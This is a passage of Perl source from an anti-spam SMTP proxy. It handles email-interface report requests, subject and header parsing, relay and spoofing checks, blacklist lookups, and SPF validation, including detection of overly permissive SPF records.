                $this->{getline}    = \&ListReport;
                mlog( $fh, "email blacklist deletion report" );
                sendque( $fh, "250 OK\r\n" );
                return;
            } elsif ( lc $u eq lc "$EmailPersBlackAdd\@" ) {
                $this->{reporttype} = 16;
                $this->{reportaddr} = 'EmailPersBlackAdd';
                $this->{getline}    = \&ListReport;
                mlog( $fh, "email personal blacklist addition report", 1 );
                sendque( $fh, "250 OK\r\n" );
                return;
            } elsif ( lc $u eq lc "$EmailPersBlackRemove\@" ) {
                $this->{reporttype} = 17;
                $this->{reportaddr} = 'EmailPersBlackRemove';
                $this->{getline}    = \&ListReport;
                mlog( $fh, "email personal blacklist deletion report", 1 );
                sendque( $fh, "250 OK\r\n" );
                return;
			}
        } 
        if (     $EmailInterfaceOk
  
                   && ( $this->{relayok} || $this->{externalsenderok}  )

                )
        {

             if ( lc $u eq lc "$EmailHelp\@" ) {
                $this->{reporttype} = 7;
                $this->{reportaddr} = 'EmailHelp';
                $this->{getline}    = \&HelpReport;
				mlog( $fh, "email: help-report request");
                $Stats{rcptReportHelp}++;
                sendque( $fh, "250 OK\r\n" );
                return;
            } elsif(lc $u eq lc "$EmailAnalyze\@") {
                $this->{reporttype}=8;
                $this->{reportaddr} = 'EmailAnalyze';
                $this->{getline}=\&AnalyzeReport;
                mlog( $fh, "email: analyze-report request");
                $Stats{rcptReportAnalyze}++;
                sendque($fh,"250 OK\r\n");
                return;
            } elsif(lc $u eq lc "$EmailBlockReport\@" or $u =~ /^RSBM_.+?$maillogExt\@$/i) {
   
                $this->{rcpt}="$u$h";
                $this->{reporttype}=9;
                $this->{reportaddr} = 'EmailBlockReport';
                $this->{getline}=\&BlockReport;
                mlog($fh,"email: request for blocked spam report",1);
                sendque($fh,"250 OK\r\n");
                return;
            } 
 
        	ReturnMail($fh,$this->{mailfrom},"$base/reports/denied.txt",'assp-error',"\n") if ($this->{senderok} eq '2');
        	$this->{getline} = \&NullFromToData;
        	&NullFromToData($fh,$l);
        	mlog($fh,"denied connection to email interface ($uh) moved to NULL-connection",1);
	        return;

        }
}       
sub makeSubject {
        my $fh = shift;
		my $this = $Con{$fh};
        return if $Con{$fh}->{subject2};

        my $sub;
        $sub = $1 if (substr($Con{$fh}->{header},0,index($Con{$fh}->{header},"\015\012\015\012")) =~ /\015\012Subject: *($HeaderValueRe)/iso);
        if (!$sub && $Con{$fh}->{maillogbuf}) {
            $sub = $1 if (substr($Con{$fh}->{maillogbuf},0,index($Con{$fh}->{maillogbuf},"\015\012\015\012")) =~ /\015\012Subject: *($HeaderValueRe)/iso);
        }
        $sub =~ s/\r\n\s*//go;
        my $slength = length $sub;
		if ($slength > 2000) {
			delayWhiteExpire($fh);
			$Con{$fh}->{prepend} = "[SubjectBomb]";
			mlog( $fh, "Subject exploit attempt with $slength bytes");
			$sub = substr($sub,0,50);
			seterror( $fh, "554 5.7.1 Subject exploit attempt with $slength bytes", 1 );
			return;

			
		}
		headerUnwrap($sub);
        return unless $sub;
        $sub =~ s/\r|\n|\t//go;
        $Con{$fh}->{subject2}=$sub;
        $Con{$fh}->{subject2} =~ s/$NONPRINT//go;
        $sub=dedecodeMimeWords($sub);
        if ($LogCharset =~ /125[02]$/o) {
            $sub =~ s/\x80/(EUR)/go;
        }
        
		$Con{$fh}->{subject3} = $sub;
        $Con{$fh}->{subject3} =~s/_{2,}/_/go;
        $sub=~y/a-zA-Z0-9/_/cs;
        $sub =~s/_{2,}/_/go;

        $Con{$fh}->{originalsubject}=$sub;
        $Con{$fh}->{originalsubject} =~ tr/_/ /;
        $Con{$fh}->{originalsubject} =~ s/\s+$//o;
        $Con{$fh}->{originalsubject} =~ s/^\s+//o;

        $Con{$fh}->{originalsubject} = $Con{$fh}->{subject3} if $LogCharset;      
        $Con{$fh}->{originalsubject} = substr($Con{$fh}->{originalsubject},0,50) .
                                       '...' .
                                       substr($Con{$fh}->{originalsubject},length($Con{$fh}->{originalsubject})-50,50)
                     if length($Con{$fh}->{originalsubject}) > 100;
        $Con{$fh}->{subject3} = $Con{$fh}->{subject3} = Encode::encode('UTF-8',Encode::decode($LogCharset,$Con{$fh}->{subject3})) if $Con{$fh}->{subject3} && $LogCharset && $LogCharset !~ /^utf-?8/io;
        $Con{$fh}->{subject}=substr($sub,0,50);
        
        $Con{$fh}->{logsubject} =
            ( $subjectLogging ? "$subjectStart$Con{$fh}->{originalsubject}$subjectEnd" : "" );
	
}


# get the header length of the DATA.
sub getheaderLength {
    my $fh = shift;
    return 0 unless $fh;
    my $l = 0;
    if (ref($fh) && ref($fh) ne 'SCALAR' && exists $Con{$fh}) {
        return 0 unless $Con{$fh}->{headerpassed};
        $l = index($Con{$fh}->{header}, "\x0D\x0A\x0D\x0A");
        return ($l >= 0 ? $l + 4 : 0);
    }
    return 0 unless length(ref($fh)?$$fh:$fh);
    $l = index((ref($fh)?$$fh:$fh), "\x0D\x0A\x0D\x0A");
    return ($l >= 0 ? $l + 4 : 0);
}

# get the header part of the DATA.
sub getheader {
    my ( $fh, $l ) = @_;
    d('getheader');
    my $reply;
    my $done;
    my $fn;
    my $done2;
    my $this = $Con{$fh};
    

    
     
     
	if($this->{spamblocked}  or $this->{inerror} or $this->{inerror} or $this->{intemperror} ) {
        my $server = $this->{friend};
        $this->{getline} = \&getline;
        sendque( $server, $l );
        done($fh);
        return;
    }
	
    $this->{header} .= $l;
    my $headerlength=length($this->{header});
    my $maxheaderlength=$HeaderMaxLength;



    if($HeaderMaxLength && $headerlength>$maxheaderlength && $this->{prepend} !~ /OversizedHeader/) {
        delayWhiteExpire($fh);
        $this->{prepend}="[OversizedHeader]";
        mlog($fh,"Possible Mailloop: Headerlength ($headerlength) > $maxheaderlength");
        seterror($fh,"554 5.7.1 possible mailloop - oversized header ($headerlength)",1);
        $Stats{msgverify}++;
        return;
    }

	if (   scalar keys %MEXH
		&& ! $this->{relayok}
		&& $this->{prepend} !~ /Max-Equal-X-Header/
        && ! $this->{noprocessing} 
        && ! $this->{whitelisted}
		&& $l =~ /^X-(?!ASSP)/io
		&& $l !~ /X-Notes-Item/i) 
	{
        my $line = $l;
        $line =~ s/\r?\n//go;
        my ($xh) = $line =~ /^($HeaderNameRe)\:/o;
        my $maxval;
        $maxval = matchHashKey(\%MEXH,$xh) if $xh;
        if ($xh && $maxval && ++$this->{Xheaders}{lc $xh} > $maxval) {
            delayWhiteExpire($fh);
            $this->{prepend}="[Max-Equal-X-Header]";
            mlog($fh,"too many (MaxEqualXHeader = $maxval) equal X-header lines '$xh'");
            seterror($fh,"554 5.7.7 too many ($maxval) equal X-headers '$xh'",1);
            $Stats{msgverify}++;
            return;
        }
    }
    
    if (! $this->{relayok} && ! $this->{received}) {
        $this->{received} = $l =~ /^(?:Received:)|(?:Origin(?:at(?:ing|ed))?|Source)[\s\-_]?IP:/oi;
    }

    my $orgnp;
    if ( $l =~ /^\.?[\r\n]*$/ ) {
    	$done2 = $l=~/^\.[\r\n]+$/o;
		$orgnp = $this->{noprocessing};
        $this->{noprocessing} = 0 if $this->{noprocessing} eq '2';  # noprocessing on message size
        $this->{headerpassed} = 1;
        $this->{skipnotspam} = 1;
        $this->{maillength} = $this->{headerlength} = $headerlength;
        $this->{headerlength} -= 3 if $done2;
        $this->{headerlength} = 0 if $this->{headerlength} < 0;
        my $slok;
		$this->{localmail} = localmail($this->{mailfrom});
		if (! $this->{from} && $this->{header} =~ /(?:^|\n)from:($HeaderValueRe)/oi) {
            my $from = $1;
            headerUnwrap($from);
            $this->{from} = $1 if $from =~ /($EmailAdrRe\@$EmailDomainRe)/oi;
        }
        
		        if ($removeForeignBCC && ! $this->{relayok} && $this->{header} =~ s/\nbcc:($HeaderValueRe)/\n/igso) {
            mlog($fh,"info: found and removed unexpected BCC recipient addresses in incoming mail") if $ValidateUserLog >= 2;
        } elsif (! $nolocalDomains && ! $this->{relayok} && (my @bccRCPT = $this->{header} =~ /\nbcc:($HeaderValueRe)/igso)) {
            mlog($fh,"info: found and checking for unexpected BCC recipient addresses in incoming mail") if $ValidateUserLog >= 2;
            foreach my $bcc (@bccRCPT) {
                while ($bcc =~ /($EmailAdrRe\@$EmailDomainRe)/igos) {
                    my $addr = $1;
                    if ($ReplaceRecpt) {
                        my $newadr = RcptReplace($addr,batv_remove_tag('',$this->{mailfrom},0),'RecRepRegex');
                        if (lc $newadr ne lc $addr) {
                            $this->{header} =~ s/(\nbcc:(?:$HeaderValueRe)*?)\Q$addr\E/$1$newadr/is;
                            mlog(0,"BCC - recipient $addr replaced with $newadr") if $ValidateUserLog;
                            $addr = $newadr;
                        }
                    }
                    next if localmail($addr);
                
                    pbAdd($fh,$this->{ip},'rlValencePB','RelayAttempt',0);
                    $this->{prepend} = "[RelayAttempt]";
                    my $fn = $this->{maillogfilename};
                    unless ($fn) {
                        $fn=Maillog($fh,'',6); # tell maillog what this is.
                    }
                    $fn=' -> '.$fn if $fn ne '';
                    $fn='' if !$fileLogging;
                    NoLoopSyswrite( $fh, "530 Relaying not allowed - BCC recipient ($addr) is not local\r\n" );
                    $this->{messagereason} = "relay attempt blocked for non local BCC recipient - $addr";
                    mlog( $fh, "[spam found] ('$this->{messagereason}')".de8($fn),0,2 );
                    $Stats{rcptRelayRejected}++;
                    delayWhiteExpire($fh);
                    $this->{intemperror} = 1;
                    done($fh);
                    return;
                }
            }
        }

        
        if(! &MailLoopOK($fh)) {
            $this->{prepend}="[MailLoop]";
            mlog($fh,"warning: possible mailloop - found own received header more than $detectMailLoop times");
        	sendque( $fh, "250 OK\r\n" );
        	$Con{$fh}->{getline} = \&NullFromToData;
            $Stats{msgverify}++;
            return;
        }
        
        

        my $tip = $this->{ip};
        $tip = $this->{cip} if $this->{cip};
        if (   !$this->{relayok}
            && !$this->{contentonly}
            && pbWhiteFind($tip) )
        {
			$this->{contentonly} = "whitebox:$tip";

		}
        
        if (   !$this->{relayok}
            && !$this->{contentonly}
            && $contentOnlyRe
            && $contentOnlyReRE != ""
            && $this->{header} =~ ( '(' . $contentOnlyReRE . ')' ) )
        {
			$this->{contentonly} = $1;
			$this->{noblockingips} = 1;
            pbBlackDelete( $fh, $this->{ip} );           

        }


        if (   $allLogRe
            && $allLogReRE != ""
            && $this->{header} =~ ( '(' . $allLogReRE . ')' ) )
        {
            $this->{alllog} = 1;
        }

    	
    	if ( ! $this->{red}
            && $this->{header} =~ /(auto-submitted\:|subject\:.*?auto\:)/i )
            # RFC 3834
        {
            mlogRe( $fh, $1, "Red" );
            $this->{red} = $1;
        }



        $this->{prepend} = '';

    	
        if ( ($this->{received} || $this->{relayok}) && $this->{ispip} && $this->{header} =~ /X-Forwarded-For: ($IPRe)/io) {
	        $this->{cipdone} = 1;
            $this->{cip} = ipv4TOipv6($1);
            my $cip = ipv6expand($1);
            my $cip2 = $1;
            my $orgHelo = $this->{helo};
	        while ( $this->{header} =~ /Received:\s+from\s+(?:([^\s]+)\s)?(?:.+?)(?:$this->{cip}|$cip|$cip2)\]?\)(.{1,80})by.{1,20}/gis ) {
                $this->{ciphelo} = $1;
                $this->{helo} = $1 if $1;
                my $rhelo = $2;
                $rhelo =~ s/\r?\n/ /go;
                $rhelo =~ /.+?helo\s*=\s*([^\s]+)/io;
                if ($1) {
                    $this->{ciphelo} = $1;
                    $this->{helo} = $1;
                }
            }
            if ($this->{cip}) {
             	$this->{noblockingips} = 1 if matchIP( $this->{cip}, 'noBlockingIPs', 0, 1 );
            	$this->{noprocessing} = 1 if matchIP( $this->{cip}, 'noProcessingIPs', 0, 1 );
    			$this->{whitelisted} = matchIP( $this->{cip}, 'whiteListedIPs', 0, 1 );
    			$this->{nopb} = 1 if matchIP( $this->{cip}, 'noPB', 0, 1 );
    		}
            if ($this->{cip} && matchIP($this->{cip},'ispip',$fh)) {
                delete $this->{cip};
                delete $this->{ciphelo};
                $this->{helo} = $orgHelo;
            } else {
                $this->{nohelo} = 1 if ( $this->{cip} && matchIP( $this->{cip}, 'noHelo', $fh ) );
                mlog( $fh, "Found X-Forwarded-For: $this->{ciphelo} ($this->{cip})", 1, 2 ) if $this->{cip};
            }
	    } elsif ( ($this->{received} || $this->{relayok}) && $this->{ispip} && $ispHostnames && !$this->{cipdone} ) {
            $this->{cipdone} = 1;
            my $orgHelo = $this->{helo};
            while ( $this->{header} =~ /Received:\s+from\s+(?:([^\s]+)\s)?(?:.+?)($IPRe)(.{1,80})by.{1,20}($ispHostnamesRE)/gis ) {
                my $cip = ipv6expand(ipv6TOipv4($2));
                my $helo = $1;
                my $rhelo = $3;
                next if $cip =~ /$IPprivate/o;

                $this->{cip} = $cip;
                $this->{ciphelo} = $helo || $cip;
                $rhelo =~ s/\r?\n/ /go;
                $rhelo =~ /.+?helo\s*[= ]?\s*([^\s\)]+)/io;
                $this->{ciphelo} = $1 if $1;
            }
            if ($this->{cip}) {
             	$this->{noblockingips} = 1 if matchIP( $this->{cip}, 'noBlockingIPs', 0, 1 );
            	$this->{noprocessing} = 1 if matchIP( $this->{cip}, 'noProcessingIPs', 0, 1 );
    			$this->{whitelisted} = matchIP( $this->{cip}, 'whiteListedIPs', 0, 1 );
    			$this->{nopb} = 1 if matchIP( $this->{cip}, 'noPB', 0, 1 );
    		}
            if ($this->{cip} && matchIP($this->{cip},'ispip',$fh)) {
                delete $this->{cip};
                delete $this->{ciphelo};
                $this->{helo} = $orgHelo;
            } else {
                $this->{nohelo} = 1 if ( $this->{cip} && matchIP( $this->{cip}, 'noHelo', $fh ) );
                mlog( $fh, "Originating IP/HELO:  $this->{cip} / $this->{ciphelo}", 1, 2 ) if $this->{cip};
            }
        }


        
		&makeSubject($fh);

    	if(!$this->{spamloversre} && $SpamLoversRe && $this->{header} =~ /($SpamLoversReRE)/ ) 	{
            mlogRe($fh,($1||$2),"SpamLoversRe");
            $this->{spamloversre} = $1||$2;
    	}
    	

        
        HistoryOK( $fh, $this->{ip} );


		if (! $this->{relayok} && 
			! $this->{msgidsigdone} &&
			$this->{isbounce} &&
    		$DoMSGIDsig &&
            $CanUseSHA1 &&
    		! $this->{whitelisted} &&
            ! $this->{noprocessing} &&
            ! $this->{addressedToSpamBucket} &&
			$this->{header} =~ /([^\r\n]+\:)[\r\n\s]*\<$MSGIDpreTag\.(\d)(\d\d\d)(\w{6})\.([^\r\n]+)\>/ &&

            &MSGIDsigCheck($fh)
           )
        {
            $this->{msgidsigdone} = 1;

            $this->{noprocessing} = 1;
            $this->{prepend} = '[NoProcessing]';
            $this->{passingreason} = 'Valid MSGID signature';
            pbBlackDelete($fh,$this->{ip});
            pbWhiteAdd($fh,$this->{ip},"ValidMSGID");


    	}
    	
        if ( !$this->{noprocessing} && $npRe
        	&& !$this->{relayok}
        	&& !$this->{addressedToSpamBucket}
            && $npReRE != ""
            && $this->{header} =~ ( '(' . $npReRE . ')' ) )
        {
			mlogRe( $fh, $1, "npRe" );
            pbBlackDelete( $fh, $this->{ip} );
            $this->{noprocessing}  = 1;
            $this->{passingreason} = "npRe '$1'";
  
        }
        if (  !$this->{noprocessing} == 1) {
			onwhitelist( $fh, \$this->{header}) if !$this->{red};
		}
		
    	if (!$this->{whitelisted} && $whiteReRE ) {
        	WhiteOk($fh) if !$this->{noprocessing};
    	}
		
		if ( $DoSameSubject 
				&& !$this->{whitelisted}
                && !$this->{noprocessing}
                && !$this->{contentonly}
                && !$this->{relayok} ) {
			if (! &SameSubjectOK( $fh)) {
            		$Stats{sameSubject}++;
  					$reply = $SpamError;            
            		$reply =~ s/REASON/Same Subject/g;
            		$reply = replaceerror ($fh, $reply);
            		thisIsSpam( $fh, $this->{messagereason}, 6,
                $reply, 0, 0, 0 );
            		return;

            }

		}
		


		if ( !BlackDomainOK($fh) ) {
            my $slok = $this->{allLoveBlSpam} == 1;
            $Stats{blacklisted}++ unless $slok;
            $reply = $SpamError;            
            $reply =~ s/REASON/Blacklisted Domain/g;
            $reply = replaceerror ($fh, $reply);
            $this->{newsletterre}		= '';
            thisIsSpam( $fh, $this->{messagereason},
                $blDomainLog, $reply, $blTestMode, $slok, $done2 );
            return;
        }
		if ( !PersonalBlackDomainOK($fh) ) {
            my $slok = $this->{allLoveBlSpam} == 1;
            $Stats{blacklisted}++ unless $slok;
            my ($to) = $this->{rcpt} =~ /(\S+)/;
            $reply = $SpamError;            
            $reply =~ s/REASON/mailbox <$to> unavailable/g;
            $reply = replaceerror ($fh, $reply);
            $this->{newsletterre}		= '';
            thisIsSpam( $fh, $this->{messagereason},
                $blDomainLog, $reply, $blTestMode, $slok, $done2 );
            return;
        }

        if ( !LocalSenderOK( $fh, $this->{ip} ) ) {
            my $slok = $this->{allLoveISSpam} == 1;
            $Stats{senderInvalidLocals}++ unless $slok;
            $reply = $SpamError;            
            $reply =~ s/REASON/Innvalid Sender/g;
            $reply = replaceerror ($fh, $reply);
            $this->{spamloversre} = "";
            thisIsSpam( $fh, "$this->{messagereason}", $spamISLog, $reply,
                $flsTestMode, $slok, $done2 );
            return;
        }

        if (! ($this->{whitelisted} ||= $this->{header} =~ /$whiteReRE/) ) {
            if (! &NoSpoofingOK( $fh, 'mailfrom' ) or ($DoNoSpoofing4From && ! &NoSpoofingOK( $fh, 'from' )) ) {
                my $slok = $this->{allLoveISSpam} == 1;
                $Stats{senderInvalidLocals}++ unless $slok;
                $reply = $SpamError;
                $reply =~ s/REASON/$this->{messagereason}/go;
                thisIsSpam( $fh, "$this->{messagereason}", $spamISLog, $reply,
                    $flsTestMode, $slok, $done2 );
                return;
            }

        }



        if (	$this->{relayok}
          	&&	!$this->{red}
            && 	$redRe
            && 	$redReRE != ""
            && 	$this->{header} =~ ( '(' . $redReRE . ')' ) )
        {

            my $subre = mlogRe( $fh, $1, "Red" );
            $this->{red} = "RedRe";
        }

        # if RELAYOK check localdomains if approprate
        if (   $this->{relayok}
            && !$this->{red}
            && $DoLocalSenderDomain
            && !$nolocalDomains
            && ($localDomains or $localDomainsFile or $ldLDAP or $DoLocalIMailDomains)
            && !localmail( $this->{mailfrom} )
            && $this->{mailfrom} !~ $BSRE
            && !localmail( $this->{rcpt} ) )
        {

            $this->{prepend} = "[RelayAttempt]";
            $this->{messagereason} =
              "relay attempt blocked because DoLocalSenderDomain is set";
            mlog( $fh, $this->{messagereason} );
            $Stats{rcptRelayRejected}++;
     
            NoLoopSyswrite( $fh, "530 Relaying not allowed - sender domain not local\r\n421 <$myName> closing transmission\r\n" );
    
            done($fh);
            return;
        }

        # if RELAYOK check localaddresses if approprate
        if (   $this->{relayok}
            && $DoLocalSenderAddress
            && !$nolocalDomains
            && (isvrfy( $fh, $this->{mailfrom})  or $DoLDAP or isflat( $fh, $this->{mailfrom}))
            && !$this->{red}
            && $this->{mailfrom} !~ $BSRE
            && !LocalAddressOK($fh)
            && !localmail( $this->{rcpt} ) )
        {
            $this->{prepend} = "[RelayAttempt]";

            $this->{messagereason} =
              "relay attempt blocked because DoLocalSenderAddress is set";
            mlog( $fh, $this->{messagereason} );
            $Stats{rcptRelayRejected}++;
            delayWhiteExpire($fh);
            NoLoopSyswrite( $fh, "530 Relaying not allowed - local sender address unknown\r\n421 <$myName> closing transmission\r\n" );

            done($fh);
            return;
        }
        
        if ( !DenyOK( $fh, $this->{ip} ) ) {
            my $slok = $this->{allLovePBSpam} == 1;
			$Stats{denyConnection}++ unless $slok;
            my $er = $SpamError;
            $er = $DenyError if $DenyError;
            $this->{test} = "pbTestMode";
            $this->{newsletterre}		= '';
            thisIsSpam( $fh, $this->{messagereason}, $spamDenyLog, $er,
                $pbTestMode, $slok, $done2 );
                return; 
        }

                
                

        if (! $this->{msgid} && $this->{header}=~/\nMessage-ID:($HeaderValueRe)/si) {
            $this->{msgid} = decodeMimeWords2UTF8($1);
            $this->{msgid}=~s/[\s>]+$//;
            $this->{msgid}=~s/^[\s<]+//;
        }

		
        # header is done





        
        if ( $npLocalRe
            && $this->{relayok} 
            && $this->{header} =~ ( '(' . $npLocalReRE . ')' ) )
        {
			mlogRe( $fh, $1, "npLocalRe" );

            $this->{noprocessing}  = 2;
            $this->{passingreason} = "npLocalRe '$1'";
  
        }

        if ( $blockLocalRe
            && $this->{relayok} 
            && "$this->{mailfrom}$this->{header}" =~ ( '(' . $blockLocalReRE . ')' ) )
        {
			mlogRe( $fh, $1, "blockLocalRe" );       
            $reply = "554 5.7.1 blocked - because of '$1'\r\n";
            thisIsSpam( $fh, "'$1' found in blockLocalRe", 6 , $reply, 0, 0, $done2 );
			return;
        }



 		if (!$AsASecondary && !$this->{addressedToSpamBucket} &&  !SenderBaseOK( $fh, $this->{ip} ) ) {
            my $slok = $this->{allLoveSBSpam} == 1;
            $Stats{sbblocked}++ unless $slok;
            $reply = $SpamError;            
            $reply =~ s/REASON/SenderBase/g;
            $reply = replaceerror ($fh, $reply);
            $this->{test} = "sbTestMode";
            thisIsSpam( $fh, $this->{messagereason},
                $spamSBLog, $reply, $sbTestMode, $slok, $done2 );
            return;
 
		}

 		if (!$AsASecondary &&  !BombHeaderOK( $fh, \$this->{header} ) ) {
            delayWhiteExpire($fh);
            my $slok = $this->{allLoveBoSpam} == 1;
 			$slok = 0 if $this->{messagereason} =~ /bombCharSets/i;
 
            $Stats{bombs}++ unless $slok;
			$this->{test} = "bombTestMode";
			my $reply = $SpamError;            
            $reply =~ s/REASON/$this->{messagereason}/g;
            $reply = replaceerror ($fh, $reply);
            thisIsSpam( $fh, "$this->{messagereason}", $spamBombLog, $reply, $bombTestMode, $slok, $done2 );
			return;
 		}	

		RWLok( $fh, $this->{ip} );
		if (!$this->{spamfound}  && !$this->{addressedToSpamBucket} && !SPFok($fh, $done2) ) {
                return;
        	}
       

	
        if (!invalidHeloOK( $fh, $this->{helo} ) ) {
            my $slok = $this->{allLoveHiSpam} == 1;
            $Stats{invalidHelo}++ unless $slok;
            $reply = $SpamError;            
            $reply =~ s/REASON/Invalid HELO Format/g;
            $reply = replaceerror ($fh, $reply);
            $this->{prepend} = "[InvalidHELO]";
            $this->{test} = "ihTestMode";
            thisIsSpam( $fh, "Invalid HELO: '$this->{helo}'",
                $invalidHeloLog, $reply, $ihTestMode, $slok, $done2 );

        } elsif (!IPinHeloOK( $fh ) ) {
        } elsif (!suspiciousHeloOK( $fh, $this->{helo} ) ) {
		} elsif (!&GRIPvalue($fh,$this->{ip}) ) {
        } elsif (!HeloBlackOK( $fh, $this->{helo} ) ) {
        } elsif($this->{isbounce} && ! &MSGIDsigOK($fh)) {

		} elsif ($MessageScoringUpperLimit
                && $this->{messagescore} > ($MessageScoringUpperLimit) ) {

            MessageScore( $fh, $done2 );
            return;
                   

		} elsif (!RBLCacheOK($fh,$this->{ip},$done2) ) {
			return;

		} elsif ($MessageScoringUpperLimit
                && $this->{messagescore} > ($MessageScoringUpperLimit ) ) {

            MessageScore( $fh, $done2 );
            return; 
        
        } elsif (!MXAOK($fh) ) {
            my $slok=$this->{allLoveMXASpam}==1;
            unless ($slok) {$Stats{mxaMissing}++;}
            $reply = $SpamError;            
            $reply =~ s/REASON/Missing MX and A record/go;
            $reply = replaceerror ($fh, $reply);
            $this->{prepend}="[MissingMXA]";
            thisIsSpam($fh,"missing MX and A record",$spamMXALog,$reply,$mxaTestMode,$slok,$done2);
            return;



		} elsif ($MessageScoringUpperLimit
                && $this->{messagescore} > ($MessageScoringUpperLimit + 10) ) {

            MessageScore( $fh, $done2 );
            return; 

        
        } elsif($this->{isbounce} && ! &BackSctrCheckOK($fh,$this->{ip})) {
           	return;

               # remove Disposition-Notification headers if needed
       } elsif ($removeDispositionNotification 
        	&& !$this->{relayok} 
        	&& !$this->{whitelisted}
        	&& !$this->{noprocessing} 
        	&& $this->{header} =~ s/(?:ReturnReceipt|Return-Receipt-To|Disposition-Notification-To):$HeaderValueRe//gio
            ) {
            $this->{maillength} = length($this->{header});
            mlog($fh,"removed Disposition-Notification headers from mail",1) if $ValidateSenderLog > 1;

        } elsif (!$this->{addressedToSpamBucket} &&  $this->{invalidSRSBounce}
            && $SRSValidateBounce
            && !( $this->{ispip} )
            && !$this->{validatebounce}
            && !( $noSRS && matchIP( $this->{ip}, 'noSRS', 0, 1 ) ) )
        {

            my $slok = $this->{allLoveSRSSpam} == 1;
            $Stats{msgNoSRSBounce}++ unless $slok;
            $this->{prepend} = "[SRS]";
            $this->{validatebounce} = 1;
            $this->{messagereason} =
              "bounce address not SRS signed";
            pbAdd( $fh, $this->{ip}, 'srsValencePB', "Not_SRS_Signed" ) if $SRSValidateBounce !=2;
            my $tlit = tlit($SRSValidateBounce);
            mlog( $fh, "$tlit ($this->{messagereason})" )if $SRSValidateBounce !=1;
            $this->{test} = "srsTestMode";
            thisIsSpam(
                $fh, $this->{messagereason},
                $SRSFailLog, '554 5.7.5 Bounce address not SRS signed',
                $srsTestMode, $slok, $done2
            ) if $SRSValidateBounce ==1;
       
 # cleared all the above rules - off to Bayesian Testmode can be set if SPF and DNSBL is OK.
 # and no testcheck was successful.
        } else {

                    if ($done2) {
                    	&getbody($fh,$l);
                    	$this->{getline}=\&getline;
                    	return;
                	} else {

                    	$this->{getline} = \&getbody;
                	}
        }
    }

}

# do SPF (sender policy framework) checks
# uses Mail::SPF v2.005

sub SPFok {
    my ( $fh, $done ) = @_;
    my $this = $Con{$fh};
    $fh = 0 if "$fh" =~ /^\d+$/o;
    my $ip   = $this->{ip};
	return 1 if $this->{spfdone};
	$this->{spfdone} = 1; 

    d('SPFok');

    $ip = $this->{cip} if $this->{ispip} && $this->{cip};

    my $helo = $this->{helo};

    $helo = $this->{ciphelo} if $this->{ciphelo};
    my $block;
    my $strict;
    my $local;
    my $result;
    my $ip_overwrite;


    return 1 if $this->{relayok} && !$SPFLocal;
	return 1 if !$SPFLocal && $ip =~ /$IPprivate/o;
    return 1 if $this->{contentonly} && !$this->{cip};
    return 1 if $this->{ispip} && !$this->{cip};
    return 1 if $this->{noprocessing};
        
    return 1 if $this->{whitelisted};

    
	my $mf = lc $this->{mailfrom};
    $mf = batv_remove_tag($fh,$this->{mailfrom},'');
	my $mfd;
	$mfd = $1 if $mf =~ /\@([^@]*)/o;
	my $mfdd; $mfdd = $1 if $mf =~ /(\@.*)/o;
	
	if (! $mfd) {
        $mfd = $helo;
        $mf = "postmaster\@$helo" unless $mf;
    }
    
	if ( $blockstrictSPFRe && $mfdd =~ /($blockstrictSPFReRE)/ )
    	{
    	
		mlogRe( $fh, ($1||$2), "blockSPFstrict" );
        $strict = "$1||$2";
        $block  = "$1||$2";
    }

	
    if (
        $noSPFRe
        && (
            (
                   $this->{mailfrom}
                && $this->{mailfrom} =~ ( '(' . $noSPFReRE . ')' )
            )
            || ( $this->{header} =~ ( '(' . $noSPFReRE . ')' ) )
        )
      )
    {
        mlogRe( $fh, $1, "noSPF" );
        return 1;
    }

    if (   $strictSPFReRE && $mfdd =~ /($strictSPFReRE)/ )

    {
  		mlogRe( $fh, ($1||$2), "strictSPF" );
        $strict = "strictSPF $1||$2";
    }

    

	
    
    my $slok = $this->{allLoveSPFSpam} == 1;

    my $tlit = tlit($ValidateSPF);
    $this->{prepend} = "[SPF]";

    #$this->{prepend} .= "[$tlit]" if $ValidateSPF >= 2;

    my (
        $spf_result, $local_exp, $authority_exp,
        $spf_record, $spf_fail,  $received_spf
    );


    my ( $cachetime, $cresult,  $crecord ) = SPFCacheFind( $this->{ip}, $mfd);
    
	$spf_result = $cresult;
	return 1 if $spf_result =~ /error|^unknown|pass|neutral|none/io  ; 
	$spf_record = $crecord;


	my $itime = time;
    if ( !$spf_result ) {

        my $query;
        eval {
			local $SIG{ALRM} = sub { die "__alarm__\n" };
      		alarm(15);

            my ( $identity, $scope );
            if ($mfd) {
                $identity = $mf;
                $scope    = 'mfrom';
            } else {
                $identity = $helo;
                $scope    = 'helo';
            }

            my $res = Net::DNS::Resolver->new(
                nameservers => \@nameservers,
                tcp_timeout => $DNStimeout,
                udp_timeout => $DNStimeout,
                retrans     => $DNSretrans,
                retry       => $DNSretry
            );
			my $spf_server = Mail::SPF::Server->new(
                hostname     => $myName,
                dns_resolver => $res,
                max_dns_interactive_terms => $SPF_max_dns_interactive_terms
                );
            my $request = Mail::SPF::Request->new(
                versions      => [ 1, 2 ],
                scope         => $scope,
                identity      => $identity,
                ip_address    => $ip,
                helo_identity => $helo
            );


			$result = $spf_server->process($request);
            $spf_record = $request->record;

            $spf_result    = $result->code;
            $local_exp     = $result->local_explanation;
            $authority_exp = $result->authority_explanation
              if $result->is_code('fail');
            $received_spf = $result->received_spf_header;
            $this->{received_spf} = $received_spf unless $fh;    # for analyze only
						my $spfmatch;   # detect faked SPF records
                $spfmatch = $1 if $received_spf =~ /(mechanism .+? matched)/io;
                my $minV4Network = min(($spf_record =~ /$IPv4Re\/(\d+)/go), ($spfmatch =~ /$IPv4Re\/(\d+)/go));
                $minV4Network = 24 unless defined $minV4Network;
                $minV4Network *= 4;
                my $minV6Network = min(($spf_record =~ /$IPv6Re\/(\d+)/go), ($spfmatch =~ /$IPv6Re\/(\d+)/go));
                $minV6Network = 96 unless defined $minV6Network;
                if ($spf_result eq 'pass' &&
                    (  $spf_record =~ /\s*((?:v\s*=\s*spf.|spf2.0\/\S+).*?\+all)/oi #  ...+all  allows all IPs
                    || $spf_record =~ /\s*((?:v\s*=\s*spf.|spf2.0\/\S+).*?\D0+\.0+\.0+\.0+(?:\/\d+\s+)?.*?(?:all)?)/oi  # '0.0.0.0/xxx' allows also all IPs
                    || $spfmatch =~ /(\+all)/io
                    || $spfmatch =~ /\D(0+\.0+\.0+\.0+)/io
                    || (min($minV4Network,$minV6Network) < 32)
                    )
                   )
                {
                    my $rec = $1 ? $1 : $spfmatch;
                    (my $what, $spf_result) = ($rec=~/([+? ]all)/io || $rec!~/all/io) ?('SPAMMER',($1=~/\?/o)?'softfail':'fail'):('suspiciouse','none');
